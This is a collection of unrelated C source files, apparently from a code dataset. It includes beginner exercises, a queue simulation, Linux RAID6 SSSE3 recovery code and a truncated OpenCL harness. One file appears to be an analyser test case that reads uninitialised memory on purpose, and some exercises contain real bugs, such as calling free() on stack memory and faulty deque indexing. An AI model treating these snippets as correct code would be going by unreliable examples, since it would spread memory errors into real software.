0xe6,0xfe,0xaf,0xac,0x59,0xbd,0xc6,0x55,0xea,0x22,0xed,0xfa,0x2f,0xdc,0xa9,0xe5, 0xc8,0x88,0x4f,0xca,0x88,0xab,0x21,0x41,0xe7,0x21,0xc1,0x19,0xfb,0xe4,0x16,0xd4, 0x87,0xdd,0xdf,0x95,0x46,0x75,0xae,0x77,0x6b,0x8e,0xe3,0x6c,0xae,0x43,0x81,0x9c, 0x9d,0xca,0x82,0x56,0x64,0x6,0xd7,0x6a,0x7a,0xf5,0x7a,0xdc,0xc7,0x39,0x9c,0x67, 0x17,0xa7,0xe4,0x45,0x3b,0xf7,0x6e,0x1d,0x2b,0x3d,0x33,0xb2,0x9d,0xca,0x1b,0x64, 0xe2,0x22,0xf5,0x22,0xd0,0x29,0x79,0x61,0x85,0x3d,0x52,0xdd,0x77,0xef,0x5e,0x43, 0x5d,0x34,0xb9,0x99,0xd1,0x54,0xeb,0xf6,0xdc,0x3c,0x57,0x3b,0xdb,0x5b,0x73,0xb5, 0x4a,0x16,0x79,0x7f,0x37,0x44,0x6d,0x1b,0xc9,0xc1,0x5d,0xbd,0x7f,0x73,0x4e,0x6d, 0x9b,0xaf,0xaf,0x75,0x96,0xb1,0xda,0xf2,0x34,0x3e,0xf7,0x74,0x7f,0x51,0xd5,0xff, 0xdc,0xec,0x17,0xb9,0x75,0x68,0x7c,0xc8,0x67,0x23,0x3a,0xab,0x5a,0xb1,0xeb,0x73, 0x77,0xc8,0x9d,0x59,0x5d,0xa5,0x59,0x54,0xcb,0x4,0xf6,0x30,0xf6,0xa7,0x71,0x6b, 0x67,0xfa,0xed,0xfd,0x33,0xe4,0x6c,0x2f,0x4f,0x97,0x1d,0xb,0xcf,0xaf,0x4,0xf3, 0x63,0x54,0x85,0xd8,0xa7,0xce,0x76,0xa3,0xa3,0xb8,0x11,0xc9,0xf8,0xb4,0xbc,0x1a, 0x77,0x52,0x67,0x5,0xf7,0xac,0xc7,0x7b,0xe2,0x67,0x66,0x7f,0x48,0xd4,0xd3,0xb3, 0xe3,0x8e,0x69,0xb6,0xfd,0xfb,0x9,0x75,0x1f,0xbf,0x1e,0xbb,0x56,0x48,0xad,0xcb, 0xd9,0x5f,0x54,0x63,0xd3,0xee,0xad,0x4a,0x34,0x3e,0xa7,0x4e,0x4,0x58,0x17,0x4f, 0x6e,0x62,0x8b,0x3b,0xdf,0x55,0x56,0x5d,0xea,0x3b,0x1,0x74,0x18,0xce,0xfe,0x8, 0x7f,0x46,0x66,0xb2,0xb6,0xd7,0x20,0x7f,0x35,0x4f,0x8b,0x75,0x27,0xe5,0xab,0x75, 0xab,0xe9,0xdb,0xea,0xfe,0x5c,0xad,0xaf,0x58,0x9b,0x9b,0xf1,0x9a,0x3b,0x51,0xaf, 0x8a,0xe3,0x8b,0xea,0xfe,0x56,0x54,0xf2,0x26,0x16,0x3b,0x43,0x9b,0xea,0x5d,0xbe, 0x7,0x8f,0xe4,0xf6,0xc8,0x9,0x31,0x4e,0x63,0xfd,0xb7,0x20,0xc0,0xa,0xc6,0xf0, 0x9c,0xf8,0x57,0xa9,0x2,0x58,0xb5,0xe,0x9d,0x8d,0xdc,0x91,0x2d,0xe5,0x30,0xe4, 0x2a,0xed,0x9e,0x9c,0xff,0xaa,0x70,0x76,0x7f,0xe5,0x73,0x57,0xf5,0xf0,0xf7,0x32, 0xc9,0x9d,0xb3,0x87,0x6b,0xdd,0x81,0x4d,0x44,0x7e,0x39,0xdb,0x7e,0xf6,0xd7,0x1c, 0xb8,0x7,0x46,0x66,0x9e,0x51,0x39,0x67,0xac,0xd5,0x9,0x1e,0xab,0x16,0x37,0xb4, 0x62,0x2e,0x75,0xf0,0xff,0x8e,0x30,0x27,0x32,0xc0,0xf1,0x51,0x9c,0x98,0x3f,0xee, 0xaa,0x7b,0x6f,0xca,0xc4,0x4e,0xcb,0x36,0xf7,0x30,0x99,0xbb,0x34,0xd8,0xb5,0xf5, 0x3a,0x8d,0xd4,0xde,0xc3,0x68,0x86,0x5e,0xd1,0xfb,0xa8,0xf8,0x9d,0xf7,0xd6,0xb1, 0x67,0x66,0x45,0xfb,0x77,0x7d,0xfb,0x44,0x66,0xbf,0xf4,0x9e,0x6b,0x69,0x69,0x39, 0x21,0xbe,0xac,0xfa,0x85,0xea,0x55,0xb3,0x7e,0xad,0xdb,0xee,0x6e,0xb1,0xfe,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0xbd,0xf2,0xf, 0xb,0xc3,0x2a,0x46};

the_stack_data/25136721.c

/* Program to print interleavings of a string. Note that the order of chars should not change. Learnings: 1. Always write the base case first before the recursion. 2. Do not increment local varibale in the recursive call such as i++. Use i+1 to call. */ #include<stdio.h> #include<string.h> void interleave(char str1[], char str2[], int m, int n, char ils[], int index) { // Base case if(m ==0 && n ==0) { ils[index] = '\0'; printf("%s\n", ils); } // Recurse if(m != 0) { ils[index] = str1[0]; interleave(str1+1, str2, m-1, n, ils, index+1); } if(n != 0) { ils[index] = str2[0]; interleave(str1, str2+1, m, n-1, ils, index+1); } } void main() { char str1[] = "ABCD"; char str2[] = "XYZ"; int len1 = strlen(str1); int len2 = strlen(str2); char ils[len1+len2+1]; memset(ils, 0 , len1+len2+1); interleave(str1, str2, len1, len2, ils, 0); }

the_stack_data/178266616.c

/*Leia um vetor de 10 posições. Contar e escrever quantos valores pares ele possui.*/ #include <stdio.h> #include <stdlib.h> int main (){ int numeros [10],i=0,cont=0,j=0; printf("DIGITE 10 VALORES\n"); for (i;i<=9;i++){ printf("Digite o %d valor:\t", i+1); scanf("%d", &numeros[i]); if (numeros[i]%2==0){ cont++; } } printf("A quantidade de numeros pares que existem sao: %d\n",cont); printf("E os numeros pares que existem sao:"); for (j;j<=9;j++){ if (numeros[j]%2==0){ printf("\n%d",numeros[j]); } } system("pause"); return 0; }

the_stack_data/68937.c

#include <stdio.h> #define SIZE 20 void swap(int *a, int *b) { int tmp; tmp = *a; *a = *b; *b = tmp; } void sort_simple(int *a, int size) { for(int i = 1; i < size; ++i) { for (int j = size - 1; j >= i; --j) { if (a[j] < a[j-1]) { swap(a+j, a + j - 1); } } } } int main() { int arr[SIZE] = {0}; for(int i = 0; i < SIZE; ++i) { scanf("%i", &arr[i]); } sort_simple(arr, SIZE); for(int i = 0; i < SIZE; ++i) { printf("%i ", arr[i]); } }

the_stack_data/348496.c

//Classification: #default/n/IVO/UIM/aS+aS/D(v)/lc/ln //Written by: Igor Eremeev //Reviewed by: Sergey Pomelov //Comment: #include <stdio.h> int main(void) { int a, *p; p = &a; printf ("%d", *p); return 0; }

the_stack_data/146848.c

/* ------------------------------------------------------------------------- * This program simulates a single-server FIFO service node using arrival * times and service times read from a text file. The server is assumed * to be idle when the first job arrives. All jobs are processed completely * so that the server is again idle at the end of the simulation. The * output statistics are the average interarrival time, average service * time, the average delay in the queue, and the average wait in the service * node. * * Name : ssq1.c (Single Server Queue, version 1) * Authors : Steve Park & Dave Geyer * Language : ANSI C * Latest Revision : 9-01-98 * Compile with : gcc ssq1.c * ------------------------------------------------------------------------- */ #include <stdio.h> #define FILENAME "ssq1.dat" /* input data file */ #define START 0.0 /* =========================== */ double GetArrival(FILE *fp) /* read an arrival time */ /* =========================== */ { double a; fscanf(fp, "%lf", &a); return (a); } /* =========================== */ double GetService(FILE *fp) /* read a service time */ /* =========================== */ { double s; fscanf(fp, "%lf\n", &s); return (s); } /* ============== */ int main(void) /* ============== */ { FILE *fp; /* input data file */ long index = 0; /* job index */ double arrival = START; /* arrival time */ double delay; /* delay in queue */ double service; /* service time */ double wait; /* delay + service */ double departure = START; /* departure time */ struct { /* sum of ... */ double delay; /* delay times */ double wait; /* wait times */ double service; /* service times */ double interarrival; /* interarrival times */ } sum = {0.0, 0.0, 0.0}; fp = fopen(FILENAME, "r"); if (fp == NULL) { fprintf(stderr, "Cannot open input file %s\n", FILENAME); return (1); } double data[1005][2]; while (!feof(fp)) { index++; arrival = GetArrival(fp); if (arrival < departure) delay = departure - arrival; /* delay in queue */ else delay = 0.0; /* no delay */ service = GetService(fp); //Salva dados para calcular tabela do item (b) data[index][0] = arrival; data[index][1] = service; wait = delay + service; departure = arrival + wait; /* time of departure */ sum.delay += delay; sum.wait += wait; sum.service += service; } sum.interarrival = arrival - START; //Calculos necessarios para o item (a) double qbarra = (sum.delay/index) * (index/departure); double xbarra = (sum.service/index) * (index/departure); double lbarra = (sum.wait/index) * (index/departure); printf("\nfor %ld jobs\n", index); printf(" average interarrival time = %6.2f\n", sum.interarrival / index); printf(" average service time .... = %6.2f\n", sum.service / index); printf(" average delay ........... = %6.2f\n", sum.delay / index); printf(" average wait ............ = %6.2f\n", sum.wait / index); //Calculos para o item (a) printf(" time averaged in queue .. = %6.2f\n", qbarra); printf(" time averaged in service = %6.2f\n", xbarra); printf(" time averaged in node ... = %6.2f\n", lbarra); //Gerar a tabela do item (b) double multiplier = 0.6; printf("\n\nMultiplier | q | x | l \n"); printf("-----------------------------------------------------\n"); while (multiplier < 1.3) { sum.delay = 0.0; sum.service = 0.0; sum.wait = 0.0; arrival = START; departure = START; int i; for (i = 1; i<= 1000; i++) { arrival = data[i][0]; if (arrival < departure) delay = departure - arrival; /* delay in queue */ else delay = 0.0; /* no delay */ service = data[i][1] * multiplier; wait = delay + service; departure = arrival + wait; /* time of departure */ sum.delay += delay; sum.wait += wait; sum.service += service; } qbarra = (sum.delay/index) * (index/departure); xbarra = (sum.service/index) * (index/departure); lbarra = (sum.wait/index) * (index/departure); printf("%11.2f|%10.2f|%11.2f|%10.2f\n",multiplier,qbarra,xbarra,lbarra); multiplier += 0.1; } printf("-----------------------------------------------------\n"); //Resposta do item (c) /* As estatisticas baseadas em tempo q, x e l dependem pesadamente da intensidade do tráfego. Isso porque aumentar o tráfego através de um multiplicador no tempo de serviço, representa uma demora maior no tempo de cada serviço. Essa demora maior no tempo de serviço representa um possível aumento no numero de pessoas na fila num dado instante t. Essa função é q(t) e qbarra é basicamente a integral de q(t) num intervalo de tempo dividido pelo tempo. Aumentando o tráfego, aumentamos q (numero medio de pessoas na fila por tempo). Alem disso, aumentamos também a utilização média do nó de serviço (xbarra). O aumento desses dois fatores, implica diretamente no aumento de lbarra, que é basicamente o numero medio de trabalhos para o nó de serviço. */ //Simulação para calculo do item (d) multiplier = 1.0; qbarra = 0.0; while (qbarra < 5.0) { multiplier += 0.01; sum.delay = 0.0; sum.service = 0.0; sum.wait = 0.0; arrival = START; departure = START; int i; for (i = 1; i<= 1000; i++) { arrival = data[i][0]; if (arrival < departure) delay = departure - arrival; /* delay in queue */ else delay = 0.0; /* no delay */ service = data[i][1] * multiplier; wait = delay + service; departure = arrival + wait; /* time of departure */ sum.delay += delay; sum.wait += wait; sum.service += service; } qbarra = (sum.delay/index) * (index/departure); } printf("\n\n The maximum increase in service for a q less than 5.0 is %.2f\n\n", multiplier-0.01); fclose(fp); return (0); }

the_stack_data/173577268.c

/* * Copyright (C) 2012 Intel Corporation * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; version 2 * of the License. */ #ifdef CONFIG_AS_SSSE3 #include <linux/raid/pq.h> #include "x86.h" static int raid6_has_ssse3(void) { return boot_cpu_has(X86_FEATURE_XMM) && boot_cpu_has(X86_FEATURE_XMM2) && boot_cpu_has(X86_FEATURE_SSSE3); } static void raid6_2data_recov_ssse3(int disks, size_t bytes, int faila, int failb, void **ptrs) { u8 *p, *q, *dp, *dq; const u8 *pbmul; /* P multiplier table for B data */ const u8 *qmul; /* Q multiplier table (for both) */ static const u8 __aligned(16) x0f[16] = { 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f}; p = (u8 *)ptrs[disks-2]; q = (u8 *)ptrs[disks-1]; /* Compute syndrome with zero for the missing data pages Use the dead data pages as temporary storage for delta p and delta q */ dp = (u8 *)ptrs[faila]; ptrs[faila] = (void *)raid6_empty_zero_page; ptrs[disks-2] = dp; dq = (u8 *)ptrs[failb]; ptrs[failb] = (void *)raid6_empty_zero_page; ptrs[disks-1] = dq; raid6_call.gen_syndrome(disks, bytes, ptrs); /* Restore pointer table */ ptrs[faila] = dp; ptrs[failb] = dq; ptrs[disks-2] = p; ptrs[disks-1] = q; /* Now, pick the proper data tables */ pbmul = raid6_vgfmul[raid6_gfexi[failb-faila]]; qmul = raid6_vgfmul[raid6_gfinv[raid6_gfexp[faila] ^ raid6_gfexp[failb]]]; kernel_fpu_begin(); asm volatile("movdqa %0,%%xmm7" : : "m" (x0f[0])); #ifdef CONFIG_X86_64 asm volatile("movdqa %0,%%xmm6" : : "m" (qmul[0])); asm volatile("movdqa %0,%%xmm14" : : "m" (pbmul[0])); asm volatile("movdqa %0,%%xmm15" : : "m" (pbmul[16])); #endif /* Now do it... */ while (bytes) { #ifdef CONFIG_X86_64 /* xmm6, xmm14, xmm15 */ asm volatile("movdqa %0,%%xmm1" : : "m" (q[0])); asm volatile("movdqa %0,%%xmm9" : : "m" (q[16])); asm volatile("movdqa %0,%%xmm0" : : "m" (p[0])); asm volatile("movdqa %0,%%xmm8" : : "m" (p[16])); asm volatile("pxor %0,%%xmm1" : : "m" (dq[0])); asm volatile("pxor %0,%%xmm9" : : "m" (dq[16])); asm volatile("pxor %0,%%xmm0" : : "m" (dp[0])); asm volatile("pxor %0,%%xmm8" : : "m" (dp[16])); /* xmm0/8 = px */ asm volatile("movdqa %xmm6,%xmm4"); asm volatile("movdqa %0,%%xmm5" : : "m" (qmul[16])); asm volatile("movdqa %xmm6,%xmm12"); asm volatile("movdqa %xmm5,%xmm13"); asm volatile("movdqa %xmm1,%xmm3"); asm volatile("movdqa %xmm9,%xmm11"); asm volatile("movdqa %xmm0,%xmm2"); /* xmm2/10 = px */ asm volatile("movdqa %xmm8,%xmm10"); asm volatile("psraw $4,%xmm1"); asm volatile("psraw $4,%xmm9"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm11"); asm volatile("pand %xmm7,%xmm1"); asm volatile("pand %xmm7,%xmm9"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm11,%xmm12"); asm volatile("pshufb %xmm1,%xmm5"); asm volatile("pshufb %xmm9,%xmm13"); asm volatile("pxor %xmm4,%xmm5"); asm volatile("pxor %xmm12,%xmm13"); /* xmm5/13 = qx */ asm volatile("movdqa %xmm14,%xmm4"); asm volatile("movdqa %xmm15,%xmm1"); asm volatile("movdqa %xmm14,%xmm12"); asm volatile("movdqa %xmm15,%xmm9"); asm volatile("movdqa %xmm2,%xmm3"); asm volatile("movdqa %xmm10,%xmm11"); asm volatile("psraw $4,%xmm2"); asm volatile("psraw $4,%xmm10"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm11"); asm volatile("pand %xmm7,%xmm2"); asm volatile("pand %xmm7,%xmm10"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm11,%xmm12"); asm volatile("pshufb %xmm2,%xmm1"); asm volatile("pshufb %xmm10,%xmm9"); asm volatile("pxor %xmm4,%xmm1"); asm volatile("pxor %xmm12,%xmm9"); /* xmm1/9 = pbmul[px] */ asm volatile("pxor %xmm5,%xmm1"); asm volatile("pxor %xmm13,%xmm9"); /* xmm1/9 = db = DQ */ asm volatile("movdqa %%xmm1,%0" : "=m" (dq[0])); asm volatile("movdqa %%xmm9,%0" : "=m" (dq[16])); asm volatile("pxor %xmm1,%xmm0"); asm volatile("pxor %xmm9,%xmm8"); asm volatile("movdqa %%xmm0,%0" : "=m" (dp[0])); asm volatile("movdqa %%xmm8,%0" : "=m" (dp[16])); bytes -= 32; p += 32; q += 32; dp += 32; dq += 32; #else asm volatile("movdqa %0,%%xmm1" : : "m" (*q)); asm volatile("movdqa %0,%%xmm0" : : "m" (*p)); asm volatile("pxor %0,%%xmm1" : : "m" (*dq)); asm volatile("pxor %0,%%xmm0" : : "m" (*dp)); /* 1 = dq ^ q * 0 = dp ^ p */ asm volatile("movdqa %0,%%xmm4" : : "m" (qmul[0])); asm volatile("movdqa %0,%%xmm5" : : "m" (qmul[16])); asm volatile("movdqa %xmm1,%xmm3"); asm volatile("psraw $4,%xmm1"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm1"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm1,%xmm5"); asm volatile("pxor %xmm4,%xmm5"); asm volatile("movdqa %xmm0,%xmm2"); /* xmm2 = px */ /* xmm5 = qx */ asm volatile("movdqa %0,%%xmm4" : : "m" (pbmul[0])); asm volatile("movdqa %0,%%xmm1" : : "m" (pbmul[16])); asm volatile("movdqa %xmm2,%xmm3"); asm volatile("psraw $4,%xmm2"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm2"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm2,%xmm1"); asm volatile("pxor %xmm4,%xmm1"); /* xmm1 = pbmul[px] */ asm volatile("pxor %xmm5,%xmm1"); /* xmm1 = db = DQ */ asm volatile("movdqa %%xmm1,%0" : "=m" (*dq)); asm volatile("pxor %xmm1,%xmm0"); asm volatile("movdqa %%xmm0,%0" : "=m" (*dp)); bytes -= 16; p += 16; q += 16; dp += 16; dq += 16; #endif } kernel_fpu_end(); } static void raid6_datap_recov_ssse3(int disks, size_t bytes, int faila, void **ptrs) { u8 *p, *q, *dq; const u8 *qmul; /* Q multiplier table */ static const u8 __aligned(16) x0f[16] = { 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f}; p = (u8 *)ptrs[disks-2]; q = (u8 *)ptrs[disks-1]; /* Compute syndrome with zero for the missing data page Use the dead data page as temporary storage for delta q */ dq = (u8 *)ptrs[faila]; ptrs[faila] = (void *)raid6_empty_zero_page; ptrs[disks-1] = dq; raid6_call.gen_syndrome(disks, bytes, ptrs); /* Restore pointer table */ ptrs[faila] = dq; ptrs[disks-1] = q; /* Now, pick the proper data tables */ qmul = raid6_vgfmul[raid6_gfinv[raid6_gfexp[faila]]]; kernel_fpu_begin(); asm volatile("movdqa %0, %%xmm7" : : "m" (x0f[0])); while (bytes) { #ifdef CONFIG_X86_64 asm volatile("movdqa %0, %%xmm3" : : "m" (dq[0])); asm volatile("movdqa %0, %%xmm4" : : "m" (dq[16])); asm volatile("pxor %0, %%xmm3" : : "m" (q[0])); asm volatile("movdqa %0, %%xmm0" : : "m" (qmul[0])); /* xmm3 = q[0] ^ dq[0] */ asm volatile("pxor %0, %%xmm4" : : "m" (q[16])); asm volatile("movdqa %0, %%xmm1" : : "m" (qmul[16])); /* xmm4 = q[16] ^ dq[16] */ asm volatile("movdqa %xmm3, %xmm6"); asm volatile("movdqa %xmm4, %xmm8"); /* xmm4 = xmm8 = q[16] ^ dq[16] */ asm volatile("psraw $4, %xmm3"); asm volatile("pand %xmm7, %xmm6"); asm volatile("pand %xmm7, %xmm3"); asm volatile("pshufb %xmm6, %xmm0"); asm volatile("pshufb %xmm3, %xmm1"); asm volatile("movdqa %0, %%xmm10" : : "m" (qmul[0])); asm volatile("pxor %xmm0, %xmm1"); asm volatile("movdqa %0, %%xmm11" : : "m" (qmul[16])); /* xmm1 = qmul[q[0] ^ dq[0]] */ asm volatile("psraw $4, %xmm4"); asm volatile("pand %xmm7, %xmm8"); asm volatile("pand %xmm7, %xmm4"); asm volatile("pshufb %xmm8, %xmm10"); asm volatile("pshufb %xmm4, %xmm11"); asm volatile("movdqa %0, %%xmm2" : : "m" (p[0])); asm volatile("pxor %xmm10, %xmm11"); asm volatile("movdqa %0, %%xmm12" : : "m" (p[16])); /* xmm11 = qmul[q[16] ^ dq[16]] */ asm volatile("pxor %xmm1, %xmm2"); /* xmm2 = p[0] ^ qmul[q[0] ^ dq[0]] */ asm volatile("pxor %xmm11, %xmm12"); /* xmm12 = p[16] ^ qmul[q[16] ^ dq[16]] */ asm volatile("movdqa %%xmm1, %0" : "=m" (dq[0])); asm volatile("movdqa %%xmm11, %0" : "=m" (dq[16])); asm volatile("movdqa %%xmm2, %0" : "=m" (p[0])); asm volatile("movdqa %%xmm12, %0" : "=m" (p[16])); bytes -= 32; p += 32; q += 32; dq += 32; #else asm volatile("movdqa %0, %%xmm3" : : "m" (dq[0])); asm volatile("movdqa %0, %%xmm0" : : "m" (qmul[0])); asm volatile("pxor %0, %%xmm3" : : "m" (q[0])); asm volatile("movdqa %0, %%xmm1" : : "m" (qmul[16])); /* xmm3 = *q ^ *dq */ asm volatile("movdqa %xmm3, %xmm6"); asm volatile("movdqa %0, %%xmm2" : : "m" (p[0])); asm volatile("psraw $4, %xmm3"); asm volatile("pand %xmm7, %xmm6"); asm volatile("pand %xmm7, %xmm3"); asm volatile("pshufb %xmm6, %xmm0"); asm volatile("pshufb %xmm3, %xmm1"); asm volatile("pxor %xmm0, %xmm1"); /* xmm1 = qmul[*q ^ *dq */ asm volatile("pxor %xmm1, %xmm2"); /* xmm2 = *p ^ qmul[*q ^ *dq] */ asm volatile("movdqa %%xmm1, %0" : "=m" (dq[0])); asm volatile("movdqa %%xmm2, %0" : "=m" (p[0])); bytes -= 16; p += 16; q += 16; dq += 16; #endif } kernel_fpu_end(); } const struct raid6_recov_calls raid6_recov_ssse3 = { .data2 = raid6_2data_recov_ssse3, .datap = raid6_datap_recov_ssse3, .valid = raid6_has_ssse3, #ifdef CONFIG_X86_64 .name = "ssse3x2", #else .name = "ssse3x1", #endif .priority = 1, }; #else #warning "your version of binutils lacks SSSE3 support" #endif

the_stack_data/620689.c

/** * 1.5.3 padding * * */ #include <stdio.h> struct foo { char a; int b; } f; /** * * **アラインメントとは** * 境界調整のこと * intのデータは4の倍数のアドレスに置かないといけない　などの規則がある。 * アラインメント規則はプラットフォームごとに異なる。 * これに反すると、bus errorや、実行速度低下や他のプログラムとのデータ交換に師匠が生じる。 * 普通に使う分には詰め物を意識する必要がない * 他のプラットフォームとバイナリデータを交換する場合は詰め物に注意が必要。 * * ここではint charで合わせて5バイトなのにstructは8バイトと表示される */ int main (void) { printf("%zu, %zu, %zu\n", sizeof(char), sizeof(int), sizeof(struct foo)); printf("%p, %p, %p\n", &f, &f.a, &f.b); }

the_stack_data/1139811.c

/* ******************************************************************************* * Copyright (c) 2020-2021, STMicroelectronics * All rights reserved. * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ******************************************************************************* */ #if defined(ARDUINO_GENERIC_F405ZGTX) || defined(ARDUINO_GENERIC_F415ZGTX) #include "pins_arduino.h" /** * @brief System Clock Configuration * @param None * @retval None */ WEAK void SystemClock_Config(void) { /* SystemClock_Config can be generated by STM32CubeMX */ #warning "SystemClock_Config() is empty. Default clock at reset is used." } #endif /* ARDUINO_GENERIC_* */

the_stack_data/27433.c

#include <term.h> #define stop_char_set_def tigetstr("rcsd") /** end definition of a character set **/ /* TERMINFO_NAME(rcsd) TERMCAP_NAME(Zt) XOPEN(400) */

the_stack_data/32949467.c

#include <stdio.h> int main(void){ int n=0,i=0,temp=0,err=-1; printf("Inserire numero di interi: \n"); scanf("%d",&n); printf("Inserire %d interi: \n",n); while(i<n){ scanf("%d",&temp); if(i!=temp){ err = i; } i++; } if(err != -1){ printf("%d\n",err); } } /* int sq(int,int); int main(void){ int n; printf("Inserisci un numero intero: "); scanf("%d",&n); int i=0; int temp = sq(i,n); printf("%d\n",temp); } int sq(int i,int n){ int temp; printf("Inserisci un intero: "); scanf("%d",&temp); if(i<n){ if(i!=temp){ return i; }else{ return sq(++i,n); } }else{ return -1; } } */

the_stack_data/587276.c

#include <stdio.h> #include <stdlib.h> struct element{ double i; struct element* next; }; void f(struct element* x){ if (x == NULL){ return; } struct element* przedostatni_index = NULL; while (x != NULL){ if (x->next != NULL){ if (x->next->i < 0){ przedostatni_index = x; } } x = x->next; } if (przedostatni_index != NULL){ struct element* nast = przedostatni_index->next->next; free(przedostatni_index->next); przedostatni_index->next = nast; } } int main() { struct element a1 = {1.0, NULL}; struct element a2 = {1.0, &a1}; struct element a3 = {-1.0, &a2}; struct element a4 = {-1.0, &a3}; struct element a5 = {1.0, &a4}; struct element a6 = {1.0, &a5}; struct element tab[6]; tab[0] = a1; tab[1] = a2; tab[2] = a3; tab[3] = a4; tab[4] = a5; tab[5] = a6; f(tab); struct element* x = &a6; while (x != NULL){ printf("%f\n", x->i); x = x->next; } return 0; }

the_stack_data/28425.c

#include<stdio.h> #include<stdlib.h> #define max 10 typedef struct dq { int a[max]; int front; int rear; }dq; void init(dq *q) { q->front=-1; q->rear=-1; } void insertbeg(dq *q, int ele) { if(q->front==-1) { q->front=q->rear=0; q->a[0]=ele; } else if(q->front==0) { q->front=max-1; } else { q->front--; q->a[q->front]=ele; } } void insertend(dq *q, int ele) { if(q->rear==max-1) { printf("overflow\n"); } else { q->rear++; q->a[q->rear]=ele; if(q->front==-1) { q->front=0; } } } void deletebeg(dq *q) { if(q->front==-1) { printf("underflow\n"); } else { int ele; ele=q->a[q->front]; if(q->front==q->rear) { q->front=q->rear=-1; } else if(q->front==max-1) { q->front=0; } else { q->front++; } } } void deleteend(dq *q) { if(q->front==-1) { printf("underflow"); } else if(q->front==q->rear) { q->front=q->rear=-1; } else if(q->rear==0) { q->rear=max-1; } else { q->rear--; } } void display(dq *q) { int i; for(i=q->front;i<=q->rear;i++) { printf("%d\t",q->a[i]); } printf("\n"); } int main() { dq q; init(&q); insertbeg(&q,10); insertbeg(&q,20); insertend(&q,30); insertend(&q,40); display(&q); deletebeg(&q); deleteend(&q); display(&q); return 0; }

the_stack_data/120194.c

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'bitselect_ulong2ulong2ulong2.cl' */ source_code = read_buffer("bitselect_ulong2ulong2ulong2.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "bitselect_ulong2ulong2ulong2", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); 